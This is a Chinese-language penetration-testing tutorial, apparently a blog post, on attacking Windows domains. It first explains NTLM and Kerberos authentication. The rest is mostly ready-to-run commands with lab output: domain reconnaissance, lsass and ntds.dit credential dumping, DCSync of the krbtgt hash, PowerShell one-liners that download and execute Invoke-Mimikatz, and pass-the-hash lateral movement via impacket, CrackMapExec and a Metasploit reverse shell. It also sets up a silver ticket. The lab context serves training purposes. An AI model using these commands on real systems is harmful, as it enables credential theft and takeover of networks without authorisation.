前置-windows认证机制 Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
本地认证 本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成NTLM Hash,然后与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败
这里提到的NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中,对于这个概念一定要牢牢记住,因为后面NTLM Hash会经常出现。
大致的运算流程为:
1 用户密码->HEX编码->Unicode编码->MD4
用python计算密码’admin’的NTLM哈希:
NTLM Hash的前身是LM Hash,由于存在安全缺陷已经被淘汰,无需做过多的了解,知道有这个东西即可。 本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对。 我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的。
网络认证 Net NTLM 网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。
NTLM协议的认证过程分为三步,也叫挑战相应机制:
协商
质询
验证
协商:双方确定使用的协议版本,NTLM存在V1和V2两个版本,具体区别就是加密方式不同,不用管。
质询:挑战(Chalenge)/响应(Response)认证机制的核心。
客户端向服务器端发送用户信息(用户名)请求。
服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为”Challenge”, 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)发送给客户端。
客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
验证:在质询完成后,验证结果,是认证的最后一步。 服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过。
其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)。
简单的来说:客户端向服务器请求使用某个用户进行验证,服务端判断该用户是否存在,存在的话使用这个用户密码的哈希值来加密一个随机字符串,并且将这个随机字符串返回给客户端,客户端再把自己提供的密码进行哈希处理后也来加密这串随机字符串,然后再把结果发送给服务器,服务器把从客户端发送的加密结果与自己本地的加密结果进行比较,相同的话便通过认证。
其中的关键点在于:第二步中客户端发送的是NTLM哈希值与随机字符串加密的结果,而这个NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的NTLM哈希即使不知道正确的密码也可通过认证。
再举个简单的例子,渗透某个站点,通过sql注入获取到了用户数据库,然后发现数据库中的管理员密码是md5加密的而且无法解开,但是这时候发现在前端登录时,也会将你输入的密码进行md5加密,也就是说后端是对比两个md5值是否相同,那我如果知道密码的md5值就能直接登录了,干嘛还要去解开呢?
工作组环境和域环境下Net NTLM认证过程因为有DC(域控制器)的参与流程略有差异,不过不影响我们进行哈希传递攻击。
域认证(Kerberos) 域内认证即采用了Kerberos协议的认证机制,与前两者相比最大的区别是有个一个可信的第三方机构KDC的参与。
参与域认证的三个角色:
Client
Server
KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service)
AD,全称叫account database,存储域中所有用户的用户名和对应的NTLM Hash,可以理解为域中的SAM数据库,KDC可以从AD中提取域中所有用户的NTLM Hash,这是Kerberos协议能够成功实现的基础。
从物理层面看,AD与AS,TGS,KDC均为域控制器(Domain Controller)。
Kerberos认证协议的基础概念: 票据(Ticket):是网络对象互相访问的凭证。 TGT(Ticket Granting Ticket):看英文名就知道,用来生成Ticket的Ticket,Ticket的爹。 KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:
Authentication Service: 简称AS,为Client生成TGT的服务,也用来完成对Client的身份验证。
Ticket Granting Service: 为Client生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访问对应的服务。
Kerbroes认证流程有些繁琐:
Client向KDC发起服务请求,希望获取访问Server的权限。 KDC得到了这个消息,首先得判断Client是否是可信赖的, 也就是从AD数据库中寻找该用户是否可用来登录。这就是AS服务完成的工作,成功后,AS返回TGT给Client。 Client得到了TGT后,继续向KDC请求,希望获取访问Server的权限。KDC又得到了这个消息,这时候通过Client 消息中的TGT,判断出了Client拥有了这个权限,给了Client访问Server的权限Ticket。(TGS服务的任务) Client得到Ticket后便可以使用这个Ticket成功访问Server。但是这个Ticket只能用来访问这个Server,如果要访问其他Server需要向KDC重新申请。
Kerberos认证协议 上一节提到了域内身份认证是采用的Kerberos协议,那么具体的认证流程是怎样的?
需要了解的几个概念
KDC(Key Distribution Center):密钥分发中心,里面包含两个服务:AS和TGS
AS(Authentication Server):身份认证服务
TGS(Ticket Granting Server):票据授予服务,该服务提供的票据也称为 TGS 或者叫白银票据
TGT(Ticket Granting Ticket):由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时
关于下文需要记住的一些点
Client 密钥 TGS密钥 和 Service 密钥 均为对应用户的NTLM Hash
TGS密钥 == KDC Hash == krbtgt用户的NTLM Hash,这几个可能有时候叫法不一样但是是一个东西
Server 和 Service 也可以当作一个东西,就是Client想要访问的服务器或者服务
Client/(TGS/Server) Sessionkey 可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥,而(Client/TGS/Service)密钥(上面提到的三个实际为NTLM Hash的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密
也就是说,参与认证的三个角色的NTLM Hash是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥Sessionkey的安全传输
然后Service 和 TGS 通过对TGT 和 Ticket (TGT 和 Ticket中包含会话密钥Sessionkey和客户端的身份信息)使用自己的NTLM Hash进行解密获取到会话密钥,再使用这个会话密钥解密客户端通过这个会话密钥加密发来的验证信息
通过解密客户端发来的验证信息,可以得到客户端的身份验证信息,再与使用自己的NTLM Hash进行解密TGT或者Ticket得到的客户端身份信息进行比较来完成对客户端身份的验证
TGT或Ticket 是由KDC使用TGS密钥和Service密钥进行加密的(上文讲到KDC可以从AD数据库中提取这三个东西),但是Client因为没有这两个密钥所以无法解密与修改。KDC将一份会话密钥通过Client的密钥加密发送给Client,另一份放在TGT中和客户端身份信息一起通过TGS的密钥进行加密也发送给Client
Client可以使用自己的密钥解密第一份会话密钥,然后用这个会话密钥来加密一份自己的身份信息,再把加密的身份信息和TGT一起发送给KDC,KDC此时如果能使用自己的TGS密钥来成功解密TGT,说明这个TGT是可信任的,因为Client无法修改TGT,然后再用这个TGT中的会话密钥来解密客户端发来的身份信息,与解密TGT得到的身份信息进行比对,如果能成功解密并且比对成功,说明这个Client是可信任的
Server端认证跟上面是一样的
一个更简单易懂的例子:戏说地狱三头犬
信息收集 域信息收集——查看是否域 1 2 3 4 5 6 7 8 9 10 11 12 13 14 net view /domain 查询域列表 net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判 断主域,主域一般用做时间服务器 net localgroup administrators 本机管理员【通常含有域用户】 net user /domain 查询域用户(当前域) net user 查看本地 net group /domain 查询域工作组 net group "domain computers" /domain 查看加入域的所有计算机名 net group "domain admins" /domain 查询域管理员用户组和域管用户 net localgroup administrators /domain 查看域管理员 net group "domain controllers" /domain 查看域控 net accounts /domain 查看域密码策略 hostname whoami比较 net config workstation
这个命令的解释:net time /domain 存在域,但是当前用户不在域里——拒绝访问 存在域,但是当前用户在域里——正常 不存在域——找不到域控制器
但是也不一定,比如这种情况。找不到域控制器的原因可能是域控关机了。
ipconfig /all 但是这里在某些特殊场景下说存在域名,其实可能并不存在域
最准的方法还是这两条命令 net config workstation和systeminfo
像这种就是在域内
定位域控 systeminfo中的domain
1 net group "domain controllers" /domain
nslookup
以及
1 2 nltest /dsgetdc:ice.com wmic ntdomain list brief
域信息收集——横向移动之前的准备 除去一些通用的常规横向信息收集之外,还有一些专门属于域主机信息收集的工具
导出所有信息收集(一般没这两个,是原生的)
1 2 3 ldifde----------ldifde -u -f output.ldf csvde----------csvde -u -f ouput.csv csvde.exe/ldifde.exe -u -r "(sAMAccountType=805306368)" -l sAMAccountName,displayname,lastlogon,pwdLastSet,description ,mail,homedirectory,scriptpath -f output.csv
普通域用户导出DNS信息
1 2 3 SharpAdidnsdump.exe 192.168.6.139(DC) SharpAdidnsdump4.5 192.168.6.139(DC) usernameice Aa123456. iceice.com dnsdump -v -u ddh\test -p passwd 1.1.1.1
qs
1 2 3 qs query 192.168.6.135 -u test 查看test这个域账户的信息 qs query 192.168.6.135 -g administrator 查看远程计算机的管理员组有哪些用户 qs query 192.168.6.135 -q 定位域管,查看主机是用啥用户登录的
Adfind
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 列出域控制器名称: AdFind -sc dclist 查看域控版本 AdFind -schema -s base objectversion 查询当前域中在线的计算机: AdFind -sc computers_active 查询当前域中在线的计算机(只显示名称和操作系统): AdFind -sc computers_active name operatingSystem 查询当前域中所有计算机: AdFind -f "objectcategory=computer" 查询当前域中所有计算机(只显示名称和操作系统): AdFind -f "objectcategory=computer" name operatingSystem 查询域内所有用户: AdFind -users name 查询所有GPO: AdFind -sc gpodmp
Dsquery
1 2 3 4 dsquery server --查找DC dsquery user --查找用户 dsquery computer --查找域内所有计算机名 dsquery user domainroot -stalepwd 100 --查找100天没改过密码的用户(筛选喷洒)
ADExplorer 输入一个域账户密码即可进行连接
LINUX下的LDAPsearch
1 2 3 4 5 6 7 8 ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" //显示所有能查询的信息 ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn //查询所有的域用户,并且只显示cn的信息,用户名,如果想全部显示,去掉管道符后面的 ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn //查询所有的计算机名,并且只显示cn的信息,计算机名,如果想全部显示,去掉管道符后面的。 ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn //查询所有的组
SPN——服务主体名称(SPN) SPN是一个唯一服务的标识名,例如MYSQL是一个服务,HTTP是一个服务,而他们都有对应的SPN。并且Kerberos认证系统会绑定SPN服务到每个登录用户上,这也就意味着我们能通过SPN来进行信息收集到特定的服务和特定的用户。
举例: 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。
1 2 3 setspn -T hacker.com -q */* 指定域 setspn -Q */* 只有域用户和机器用户(system可以使用),本地系统账户是不能用的
在一台普通域主机权限下使用此命令 可以看到此命令划分为三个区域,分别代表上面运行的一些服务
如下图所示,可以快速定位服务在哪台主机上
总结:SPN是kerberos与服务(http,mssql)通信认证的标识
总结 然后针对信息收集的话,一般我们获取服务器权限有三种类型,一种是域用户,一种是本地主机用户,还有一种是system。 本地用户是无法执行上述命令的(因为本地用户无法运行之前说的所有命令的,因为本质上所有查询都是通过ldap协议去域 控制器上查询,这个查询需要经过权限认证,只有域用户才有这个权限。 当域用户运行查询命令时,会自动使用kerberos协议认证,无需额外输入 账号密码),而SYSTEM属于机器用户(类似后面$),因此可以执行命令。
Tips 连不上主机 在域内扫出445端口是开的,密码也获取到了,但是net use连不上? 添加Host对应主机iceice\hostaname即可
机器在域里,但是没有域用户权限 net group /domain 如果不成功,那么和没在域内差不多,能做的就是先提权,然后再收集信息,或拿到一个域账户后,再收集域信息
可以通过爆破登录本地机器IP 来爆破域的账户密码(概率也不大就是了)
Dump Password & Hash
目的:获取windows用户密码或者Hash,用于远程登录域内其他机器,或进行后续的哈希传递和票据传递攻击
mimikatz 注册表读密码 1 2 reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv reg save HKLM\SAM C:\windows\temp\Sam.hiv
1 2 3 4 privilege::debug sekurlsa::logonpasswords # mimikatz运行解密命令 lsadump::sam /sam:Sam.hiv /system:Sys.hiv
内存读取密码 1 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
或者使用procdump来绕过杀软对mimikatz拦截
1 2 3 procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp # mimikatz运行解密命令 mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
Powershell调用 mimikatz
1 powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
nishang
1 powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1');Get-PassHashes
MSF mimikatz模块 1 2 3 load mimikatz wdigest //获取明文密码 msv //获取所有Hash
hashdump
WCE
获取Krbtgt用户Hash DCSync (mimikatz) mimikatz 会模拟域控,向目标域控请求账号密码信息。这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
1 lsadump::dcsync /user:krbtgt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 mimikatz # lsadump::dcsync /user:krbtgt [DC] 'de1ay.com' will be the domain [DC] 'DC.de1ay.com' will be the DC server [DC] 'krbtgt' will be the user account Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 2019/9/9 10:44:59 Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502 Object Relative ID : 502 Credentials: Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb lm - 0: 9b5cd36575630d629f3aa6d769ec91c3 Supplemental Credentials: * Primary:Kerberos-Newer-Keys * Default Salt : DE1AY.COMkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f des_cbc_md5 (4096) : 79c8dc79fe467552 * Primary:Kerberos * Default Salt : DE1AY.COMkrbtgt Credentials des_cbc_md5 : 79c8dc79fe467552 * Packages * Kerberos-Newer-Keys * Primary:WDigest * 01 6486daf200f85102b9a66f0bb698f964 02 618b4df7c8262508a26641b5271693fe 03 657b7f6a13829e21c18da26ee927dd7a 04 6486daf200f85102b9a66f0bb698f964 05 618b4df7c8262508a26641b5271693fe 06 6702b7e06d68443bbd003fa1fd2ad6c2 07 6486daf200f85102b9a66f0bb698f964 08 5057528d4ee40f9ffda5ab89fc76e45c 09 5057528d4ee40f9ffda5ab89fc76e45c 10 ec101c8f1831c5ddefbcdabf2d854077 11 48c89ab471a5a096c8895ca7c9fb8098 12 5057528d4ee40f9ffda5ab89fc76e45c 13 f63f9768f77b7a60dd75f79b210d31c5 14 48c89ab471a5a096c8895ca7c9fb8098 15 334888d42cd914936f94d6c2875f77a3 16 334888d42cd914936f94d6c2875f77a3 17 930580b0e2523dbc40d8b34efc9a83d1 18 d7bb3256dc319c0a9bdbff3ef0b3d618 19 120122f0735a3841c210d145d092d0fc 20 d371f34cf41adb5a09c8507a94066c48 21 61b1669bec1aa4a9873703229854e57d 22 61b1669bec1aa4a9873703229854e57d 23 963efa120b17bf8ea89eb2906fdf0092 24 8a015afc23c33423a0557e59bd6d573c 25 8a015afc23c33423a0557e59bd6d573c 26 a1fa583bfc8008249d6649630aada4a0 27 c13cf2b5ecb0894a09f8dd0831732da4 28 679145bff502118a02f6f3af19067da2 29 e371aa57cba0556074c58686ef433c30
或者在 meterpreter 中使用 kiwi 扩展
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 meterpreter > getuid Server username: DE1AY\Administrator meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.1.1 20180925 (x86/windows) .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success. meterpreter > dcsync_ntlm krbtgt [+] Account : krbtgt [+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb [+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3 [+] SID : S-1-5-21-2756371121-2868759905-3853650604-502 [+] RID : 502
LSA(mimikatz) mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
1 2 privilege::debug lsadump::lsa /inject /name:krbtgt
Hashdump(Meterpreter)
导出域Hash Windows的密码是经过hash后存储的,本地存放在hklm\sam以及hklm\system注册表中,域里面是存放在域控制器的c:\windows\ntds\ntds.dit中 创建快照
1 ntdsutil snapshot "activate instance ntds" creat quit quit
挂载快照
1 ntdsutil snapshot "mount {快照id}" quit quit
复制ntds.dit到本地:
1 copy 装载位置\windows\NTDS\ntds.dit C:\ntds.dit
解除挂载:
1 ntdsutil snapshot "unmount {快照id}" quit quit
删除快照:
1 ntdsutil snapshot "delete {快照id}" quit quit
开始解密,首先通过注册表的方式获取KEY
1 reg save HKLM\SYSTEM c:\windows\temp\sys.hiv
获取到ntds.dit和system.hiv之后 便可以使用工具导出域内所有用户的哈希
1 2 3 4 5 6 QuarksPwDump QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\sys.hiv -o c:\pass.txt impacket pip3 install impacket python secretsdump.py -ntds ntds.dit -system sys.hiv LOCAL
哈希破解 在线工具
1 2 3 4 5 https://www.cmd5.com/ https://crack.sh/get-cracking/ http://hashcrack.com/index.php http://cracker.offensive-security.com/index.php http://www.objectif-securite.ch/en/ophcrack.php
离线工具
基于IPC的远程连接 IPC (Internet Process Connection) 是共享”命名管道”的资源,它允许进程间通信。通过验证用户名和密码,可以获得相应的权限,用于远程管理计算机和查看计算机的共享资源
windows默认情况下开启的共享:
当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限
1 2 3 4 5 6 net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接 net use \\192.168.10.2 /de /y 删除ipc连接 net view \\192.168.10.2 查看共享目录 net view \\192.168.10.2\c$\users 列出指定目录文件 copy nbtscan.exe \\192.168.10.2\C$\windows\temp\ 复制文件 copy \\192.168.10.2\C$\windows\temp\hash.txt 下载文件
这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接
即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接
计划任务执行命令 1 2 3 schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码 schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码
PSEXEC 可先建立ipc连接再使用psexec无需输入密码(pstools里有psexec.exe)
1 2 net use \\IP /u:域名称\域账号 密码 psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula 反弹cmd
或者直接使用psexec
1 .\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX -s cmd.exe -acceptcula
Impacket smbexec.py
1 2 3 4 5 PS C:\Users\AresX> smbexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32>
psexec.py 与官方psexec.exe相比会自动删除服务,增加隐蔽性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Requesting shares on 192.168.10.201..... [*] Found writable share ADMIN$ [*] Uploading file XUUaBGPx.exe [*] Opening SVCManager on 192.168.10.201..... [*] Creating service eQxj on 192.168.10.201..... [*] Starting service eQxj..... [!] Press help for extra shell commands Microsoft Windows [░µ▒╛ 6.1.7601] ░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú C:\Windows\system32>
或者直接执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 whoami Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Requesting shares on 192.168.10.201..... [*] Found writable share ADMIN$ [*] Uploading file ktRkscJe.exe [*] Opening SVCManager on 192.168.10.201..... [*] Creating service YvrT on 192.168.10.201..... [*] Starting service YvrT..... [!] Press help for extra shell commands nt authority\system [*] Process whoami finished with ErrorCode: 0, ReturnCode: 0 [*] Opening SVCManager on 192.168.10.201..... [*] Stopping service YvrT..... [*] Removing service YvrT..... [*] Removing file ktRkscJe.exe.....
wmiexec.py
1 2 3 4 5 6 7 wmiexec.py <域>/administrator:<密码>@192.168.10.201 <命令/也可留空返回伪交互shell> PS C:\Users\AresX> wmiexec.py de1ay/administrator:2wsx#EDC@192.168.10.201 whoami Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] SMBv2.1 dialect used de1ay\administrator
PTH 哈希传递攻击 在前文Windows认证机制(网络认证 Net NTLM)章节中可以了解到,在获取了目标机器用户的NTLM Hash的情况下,可无需破解哈希直接使用目标的NTLM Hash来完成身份验证
哈希提取请参考DUMP PASSWORD & HASH
如这里获取到的NTLM Hash 4d01fbeeaf2b706478943e0889df5622
注意,PTH仍然是基于IPC远程连接实现的,所以关于账户权限,与基于IPC的远程连接章节中提到的相同
可完成Pass The Hash的工具:
impacket psexec.py
1 psexec.py -hashes :<hash> 域/域用户名@192.168.10.2
smbexec.py
1 2 3 4 5 6 7 8 9 10 smbexec.py -hashes :<hash> 域/域用户名@192.168.10.2 PS C:\Users\AresX> smbexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/administrator@192.168.10.201 Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32>whoami nt authority\system C:\Windows\system32>
wmiexec.py
1 2 3 4 PS C:\Users\AresX> wmiexec.py -hashes :4d01fbeeaf2b706478943e0889df5622 de1ay/administrator@192.168.10.201 whoami Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] SMBv2.1 dialect used de1ay\administrator
CrackMapExec 1 pip2 install crackmapexec
截止到2020/3 官方程序尚未支持Python3
Windows安装需要额外安装Microsoft Visual C++ 14.0,建议*nix环境下安装
使用CrackMapExec实现Hash传递:
1 2 3 4 5 6 aresx@XXXXXXXXXX:~$ cme smb 192.168.10.201 -u administrator -H 4d01fbeeaf2b706478943e0889df5622 -x whoami CME 192.168.10.201:445 PC [*] Windows 6.1 Build 7601 (name:PC) (domain:DE1AY) CME 192.168.10.201:445 PC [+] DE1AY\administrator 4d01fbeeaf2b706478943e0889df5622 (Pwn3d!) CME smb:445 XXXXXXXXXX [*] Windows 10.0 Build 18362 (name:XXXXXXXXXX) (domain:XXXXXXXXXX) CME 192.168.10.201:445 PC [+] Executed command CME 192.168.10.201:445 PC de1ay\administrator [*] KTHXBYE!
Smbmap 1 2 3 4 5 6 7 8 PS E:\Tools\内网渗透工具集\smbmap> python3 .\smbmap.py -u administrator -d de1ay -p f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 -H 192.168.10.201 [+] IP: 192.168.10.201:445 Name: PC Disk Permissions Comment ---- ----------- ------- ADMIN$ READ, WRITE 远程管理 C$ READ, WRITE 默认共享 IPC$ NO ACCESS 远程 IPC PS E:\Tools\内网渗透工具集\smbmap>
Smbmap需提供LM Hash:NTLM Hash
使用的是exploit/windows/smb/psexec
注意这里填入的哈希是LM Hash:NTLM Hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 =[ metasploit v5.0.21-dev ] + -- --=[ 1889 exploits - 1065 auxiliary - 328 post ] + -- --=[ 546 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] [*] Starting persistent handler(s)... msf5 > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(windows/smb/psexec) > set LHOST 192.168.10.1 LHOST => 192.168.10.1 msf5 exploit(windows/smb/psexec) > set LPORT 7778 LPORT => 7778 msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.10.201 RHOSTS => 192.168.10.201 msf5 exploit(windows/smb/psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.10.201 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.10.1 yes The listen address (an interface may be specified) LPORT 7778 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(windows/smb/psexec) > set SMBUser administrator SMBUser => administrator msf5 exploit(windows/smb/psexec) > set SMBPass f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 //冒号前为LM Hash 后为NTLM Hash SMBPass => f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622 msf5 exploit(windows/smb/psexec) > set SMBDomain de1ay SMBDomain => de1ay msf5 exploit(windows/smb/psexec) > exploit [*] Started reverse TCP handler on 192.168.10.1:7778 [*] 192.168.10.201:445 - Connecting to the server... [*] 192.168.10.201:445 - Authenticating to 192.168.10.201:445|de1ay as user 'Administrator'... [*] 192.168.10.201:445 - Selecting PowerShell target [*] 192.168.10.201:445 - Executing the payload... [+] 192.168.10.201:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (179779 bytes) to 192.168.10.201 [*] Meterpreter session 1 opened (192.168.10.1:7778 -> 192.168.10.201:49482) at 2020-03-10 13:54:44 +0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
PTT 票据传递攻击 白银票据(Silver Tickets) 特点:
无需与KDC交互
需要目标Server的NTLM Hash
在前文kerberos认证中的Ticket的组成:
1 Ticket=Server Hash(Server Session Key+Client info+End Time)
当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。 Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。
获取Server Hash 1 C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt
或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器
msf中加载mimikatz后使用msv来获取所有哈希
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 meterpreter > load mimikatz meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;987554 Negotiate IIS APPPOOL DefaultAppPool lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d } 0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d } 0;49994 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d } 0;11327761 Kerberos DE1AY Administrator lm{ f471ca8ea823361ef9393d97e7a1873c }, ntlm{ 4d01fbeeaf2b706478943e0889df5622 } 0;1770542 NTLM DE1AY Administrator lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 } 0;1038932 Kerberos DE1AY de1ay lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 } 0;142774 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 } 0;156599 Kerberos DE1AY mssql 